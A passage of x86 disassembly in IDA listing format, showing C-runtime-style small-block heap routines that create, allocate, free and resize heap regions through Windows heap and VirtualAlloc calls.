mov [eax+10h], ecx
loc_4152BB: ; CODE XREF: sub_415150+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_415150 endp
; =============== S U B R O U T I N E =======================================
sub_4152C0 proc near ; CODE XREF: sub_4125C8p
mov edx, dword_463EC0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_415331
mov ebx, dword_462EB0
mov edi, ebx
loc_4152DC: ; CODE XREF: sub_4152C0+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_4152F7
test byte ptr [ecx+0Ch], 83h
jz short loc_4152F2
inc eax
add edi, 4
cmp eax, edx
jl short loc_4152DC
jmp short loc_415331
; ---------------------------------------------------------------------------
loc_4152F2: ; CODE XREF: sub_4152C0+26j
mov esi, [ebx+eax*4]
jmp short loc_41531B
; ---------------------------------------------------------------------------
loc_4152F7: ; CODE XREF: sub_4152C0+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41279F
pop ecx
mov ecx, dword_462EB0
mov [edi+ecx], eax
mov eax, dword_462EB0
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_415331
mov esi, edi
loc_41531B: ; CODE XREF: sub_4152C0+35j
cmp esi, ebp
jz short loc_415331
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_415331: ; CODE XREF: sub_4152C0+12j
; sub_4152C0+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4152C0 endp
; =============== S U B R O U T I N E =======================================
sub_415338 proc near ; CODE XREF: sub_4127B1+1Fp
; sub_413D8F+106p ...
arg_0 = dword ptr 4
mov eax, dword_462C28
test eax, eax
jz short loc_415350
push [esp+arg_0]
call eax ; dword_462C28
test eax, eax
pop ecx
jz short loc_415350
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_415350: ; CODE XREF: sub_415338+7j
; sub_415338+12j
xor eax, eax
retn
sub_415338 endp
; =============== S U B R O U T I N E =======================================
sub_415353 proc near ; CODE XREF: .nsp0:00414422p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_41D16C ; HeapCreate
test eax, eax
mov dword_464220, eax
jz short loc_415388
call sub_41538F
test eax, eax
jnz short loc_41538B
push dword_464220
call dword_41D168 ; HeapDestroy
loc_415388: ; CODE XREF: sub_415353+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41538B: ; CODE XREF: sub_415353+27j
push 1
pop eax
retn
sub_415353 endp
; =============== S U B R O U T I N E =======================================
sub_41538F proc near ; CODE XREF: sub_415353+20p
push 140h
push 0
push dword_464220
call dword_41D144 ; RtlAllocateHeap
test eax, eax
mov dword_46421C, eax
jnz short loc_4153AC
retn
; ---------------------------------------------------------------------------
loc_4153AC: ; CODE XREF: sub_41538F+1Aj
and dword_464214, 0
and dword_464218, 0
push 1
mov dword_464210, eax
mov dword_464208, 10h
pop eax
retn
sub_41538F endp
; =============== S U B R O U T I N E =======================================
sub_4153CD proc near ; CODE XREF: sub_412813+Ap
; sub_413D8F+3Dp ...
arg_0 = dword ptr 4
mov eax, dword_464218
lea ecx, [eax+eax*4]
mov eax, dword_46421C
lea ecx, [eax+ecx*4]
loc_4153DD: ; CODE XREF: sub_4153CD+26j
cmp eax, ecx
jnb short loc_4153F5
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_4153F7
add eax, 14h
jmp short loc_4153DD
; ---------------------------------------------------------------------------
loc_4153F5: ; CODE XREF: sub_4153CD+12j
xor eax, eax
locret_4153F7: ; CODE XREF: sub_4153CD+21j
retn
sub_4153CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153F8 proc near ; CODE XREF: sub_412813+16p
; sub_413D8F+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_4154BE
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_415450
mov [ebp+arg_4], edi
loc_415450: ; CODE XREF: sub_4153F8+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_4154A2
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41547E
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_4154A2
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_4154A2
; ---------------------------------------------------------------------------
loc_41547E: ; CODE XREF: sub_4153F8+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_4154A2
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_4154A2: ; CODE XREF: sub_4153F8+60j
; sub_4153F8+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_4154BE: ; CODE XREF: sub_4153F8+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_4154CC
push 3Fh
pop edi
loc_4154CC: ; CODE XREF: sub_4153F8+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_41557B
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_4154F7
mov [ebp+arg_4], edx
mov ecx, edx
loc_4154F7: ; CODE XREF: sub_4153F8+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_415509
mov edi, edx
loc_415509: ; CODE XREF: sub_4153F8+10Dj
cmp ecx, edi
jz short loc_415578
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_415560
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41553C
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_415560
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_415560
; ---------------------------------------------------------------------------
loc_41553C: ; CODE XREF: sub_4153F8+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_415560
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_415560: ; CODE XREF: sub_4153F8+11Ej
; sub_4153F8+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_415578: ; CODE XREF: sub_4153F8+113j
mov edx, [ebp+var_8]
loc_41557B: ; CODE XREF: sub_4153F8+DDj
cmp [ebp+var_14], 0
jnz short loc_41558A
cmp [ebp+arg_4], edi
jz loc_415613
loc_41558A: ; CODE XREF: sub_4153F8+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_415613
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_4155E7
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4155D6
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_4155D6: ; CODE XREF: sub_4153F8+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_415610
; ---------------------------------------------------------------------------
loc_4155E7: ; CODE XREF: sub_4153F8+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4155FD
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_4155FD: ; CODE XREF: sub_4153F8+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_415610: ; CODE XREF: sub_4153F8+1EDj
mov ebx, [ebp+var_C]
loc_415613: ; CODE XREF: sub_4153F8+18Cj
; sub_4153F8+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_41571E
mov eax, dword_464214
test eax, eax
jz loc_415710
mov ecx, dword_46420C
mov edi, dword_41D170
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; dword_41D170
mov ecx, dword_46420C
mov eax, dword_464214
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_464214
mov ecx, dword_46420C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_464214
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_464214
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41569E
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_464214
loc_41569E: ; CODE XREF: sub_4153F8+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_415710
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; dword_41D170
mov eax, dword_464214
push dword ptr [eax+10h]
push 0
push dword_464220
call dword_41D148 ; RtlFreeHeap
mov eax, dword_464218
mov edx, dword_46421C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_464214
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_412E60
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_464218
cmp eax, dword_464214
jbe short loc_415702
sub eax, 14h
loc_415702: ; CODE XREF: sub_4153F8+305j
mov ecx, dword_46421C
mov dword_464210, ecx
jmp short loc_415713
; ---------------------------------------------------------------------------
loc_415710: ; CODE XREF: sub_4153F8+233j
; sub_4153F8+2AAj
mov eax, [ebp+arg_0]
loc_415713: ; CODE XREF: sub_4153F8+316j
mov dword_464214, eax
mov dword_46420C, esi
loc_41571E: ; CODE XREF: sub_4153F8+226j
pop edi
pop esi
pop ebx
leave
retn
sub_4153F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415723 proc near ; CODE XREF: sub_4127DD+Ep
; sub_413D8F+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_464218
mov edx, dword_46421C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_415763
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_415773
; ---------------------------------------------------------------------------
loc_415763: ; CODE XREF: sub_415723+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_415773: ; CODE XREF: sub_415723+3Ej
mov eax, dword_464210
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41579A
loc_415781: ; CODE XREF: sub_415723+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41579A
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_415781
loc_41579A: ; CODE XREF: sub_415723+5Cj
; sub_415723+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_415818
mov ebx, edx
loc_4157A1: ; CODE XREF: sub_415723+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4157BD
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4157BB
add ebx, 14h
jmp short loc_4157A1
; ---------------------------------------------------------------------------
loc_4157BB: ; CODE XREF: sub_415723+91j
cmp ebx, eax
loc_4157BD: ; CODE XREF: sub_415723+83j
jnz short loc_415818
loc_4157BF: ; CODE XREF: sub_415723+ADj
cmp ebx, [ebp+var_4]
jnb short loc_4157D5
cmp dword ptr [ebx+8], 0
jnz short loc_4157D2
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_4157BF
; ---------------------------------------------------------------------------
loc_4157D2: ; CODE XREF: sub_415723+A5j
cmp ebx, [ebp+var_4]
loc_4157D5: ; CODE XREF: sub_415723+9Fj
jnz short loc_4157FD
mov ebx, edx
loc_4157D9: ; CODE XREF: sub_415723+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4157ED
cmp dword ptr [ebx+8], 0
jnz short loc_4157EB
add ebx, 14h
jmp short loc_4157D9
; ---------------------------------------------------------------------------
loc_4157EB: ; CODE XREF: sub_415723+C1j
cmp ebx, eax
loc_4157ED: ; CODE XREF: sub_415723+BBj
jnz short loc_4157FD
call sub_415A2C
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_415811
loc_4157FD: ; CODE XREF: sub_415723:loc_4157D5j
; sub_415723:loc_4157EDj
push ebx
call sub_415ADD
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_415818
loc_415811: ; CODE XREF: sub_415723+D8j
xor eax, eax
jmp loc_415A27
; ---------------------------------------------------------------------------
loc_415818: ; CODE XREF: sub_415723+7Aj
; sub_415723:loc_4157BDj ...
mov dword_464210, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41583F
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_415876
loc_41583F: ; CODE XREF: sub_415723+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_415873
loc_41585C: ; CODE XREF: sub_415723+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41585C
loc_415873: ; CODE XREF: sub_415723+137j
mov edx, [ebp+var_4]
loc_415876: ; CODE XREF: sub_415723+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41589F
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41589F: ; CODE XREF: sub_415723+16Dj
; sub_415723+183j
test ecx, ecx
jl short loc_4158A8
shl ecx, 1
inc edi
jmp short loc_41589F
; ---------------------------------------------------------------------------
loc_4158A8: ; CODE XREF: sub_415723+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_4158C5
push 3Fh
pop esi
loc_4158C5: ; CODE XREF: sub_415723+19Dj
cmp esi, edi
jz loc_4159DA
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_415936
cmp edi, 20h
jge short loc_415905
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_415933
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_415936
; ---------------------------------------------------------------------------
loc_415905: ; CODE XREF: sub_415723+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_415933
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_415936
; ---------------------------------------------------------------------------
loc_415933: ; CODE XREF: sub_415723+1D6j
; sub_415723+203j
mov ebx, [ebp+arg_0]
loc_415936: ; CODE XREF: sub_415723+1B0j
; sub_415723+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4159E6
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4159D7
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_4159A8
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_415996
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_415996: ; CODE XREF: sub_415723+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_4159D7
; ---------------------------------------------------------------------------
loc_4159A8: ; CODE XREF: sub_415723+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4159C1
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4159C1: ; CODE XREF: sub_415723+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_4159D7: ; CODE XREF: sub_415723+24Ej
; sub_415723+283j
mov ecx, [ebp+var_8]
loc_4159DA: ; CODE XREF: sub_415723+1A4j
test ecx, ecx
jz short loc_4159E9
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4159E9
; ---------------------------------------------------------------------------
loc_4159E6: ; CODE XREF: sub_415723+229j
mov ecx, [ebp+var_8]
loc_4159E9: ; CODE XREF: sub_415723+2B9j
; sub_415723+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_415A1F
cmp ebx, dword_464214
jnz short loc_415A1F
mov ecx, [ebp+var_4]
cmp ecx, dword_46420C
jnz short loc_415A1F
and dword_464214, 0
loc_415A1F: ; CODE XREF: sub_415723+2E0j
; sub_415723+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_415A27: ; CODE XREF: sub_415723+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_415723 endp
; =============== S U B R O U T I N E =======================================
sub_415A2C proc near ; CODE XREF: sub_415723+CCp
mov eax, dword_464218
mov ecx, dword_464208
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_415A6F
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_46421C
push edi
push dword_464220
call dword_41D158 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_415ABF
add dword_464208, 10h
mov dword_46421C, eax
mov eax, dword_464218
loc_415A6F: ; CODE XREF: sub_415A2C+11j
mov ecx, dword_46421C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_464220
lea esi, [ecx+eax*4]
call dword_41D144 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_415ABF
push 4
push 2000h
push 100000h
push edi
call dword_41D174 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_415AC3
push dword ptr [esi+10h]
push edi
push dword_464220
call dword_41D148 ; RtlFreeHeap
loc_415ABF: ; CODE XREF: sub_415A2C+30j
; sub_415A2C+67j
xor eax, eax
jmp short loc_415ADA
; ---------------------------------------------------------------------------
loc_415AC3: ; CODE XREF: sub_415A2C+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_464218
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_415ADA: ; CODE XREF: sub_415A2C+95j
pop edi
pop esi
retn
sub_415A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415ADD proc near ; CODE XREF: sub_415723+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_415AEF: ; CODE XREF: sub_415ADD+19j
test eax, eax
jl short loc_415AF8
shl eax, 1
inc ebx
jmp short loc_415AEF
; ---------------------------------------------------------------------------
loc_415AF8: ; CODE XREF: sub_415ADD+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_415B0D: ; CODE XREF: sub_415ADD+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_415B0D
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_41D174 ; VirtualAlloc
test eax, eax
jnz short loc_415B40
or eax, 0FFFFFFFFh
jmp loc_415BD3
; ---------------------------------------------------------------------------
loc_415B40: ; CODE XREF: sub_415ADD+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_415B86
lea eax, [edi+10h]
loc_415B4D: ; CODE XREF: sub_415ADD+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_415B4D
loc_415B86: ; CODE XREF: sub_415ADD+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_415BC3
or [eax+4], edi
loc_415BC3: ; CODE XREF: sub_415ADD+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_415BD3: ; CODE XREF: sub_415ADD+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_415ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD8 proc near ; CODE XREF: sub_413D8F+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_415D86
test bl, 1
jnz loc_415D7F
add ebx, ecx
cmp esi, ebx
jg loc_415D7F
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_415C4F
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_415C4F: ; CODE XREF: sub_415BD8+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_415C9F
cmp ecx, 20h
jnb short loc_415C7B
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_415C9F
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_415C9F
; ---------------------------------------------------------------------------
loc_415C7B: ; CODE XREF: sub_415BD8+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_415C9F
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_415C9F: ; CODE XREF: sub_415BD8+7Dj
; sub_415BD8+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_415D6D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_415CD9
push 3Fh
pop edi
loc_415CD9: ; CODE XREF: sub_415BD8+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_415D5B
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_415D32
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_415D25
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_415D25: ; CODE XREF: sub_415BD8+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_415D57
; ---------------------------------------------------------------------------
loc_415D32: ; CODE XREF: sub_415BD8+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_415D48
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_415D48: ; CODE XREF: sub_415BD8+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_415D57: ; CODE XREF: sub_415BD8+158j
shr edx, cl
or [eax], edx
loc_415D5B: ; CODE XREF: sub_415BD8+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_415D70
; ---------------------------------------------------------------------------
loc_415D6D: ; CODE XREF: sub_415BD8+E5j
mov edx, [ebp+arg_4]
loc_415D70: ; CODE XREF: sub_415BD8+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_415EC6
; ---------------------------------------------------------------------------
loc_415D7F: ; CODE XREF: sub_415BD8+52j
; sub_415BD8+5Cj
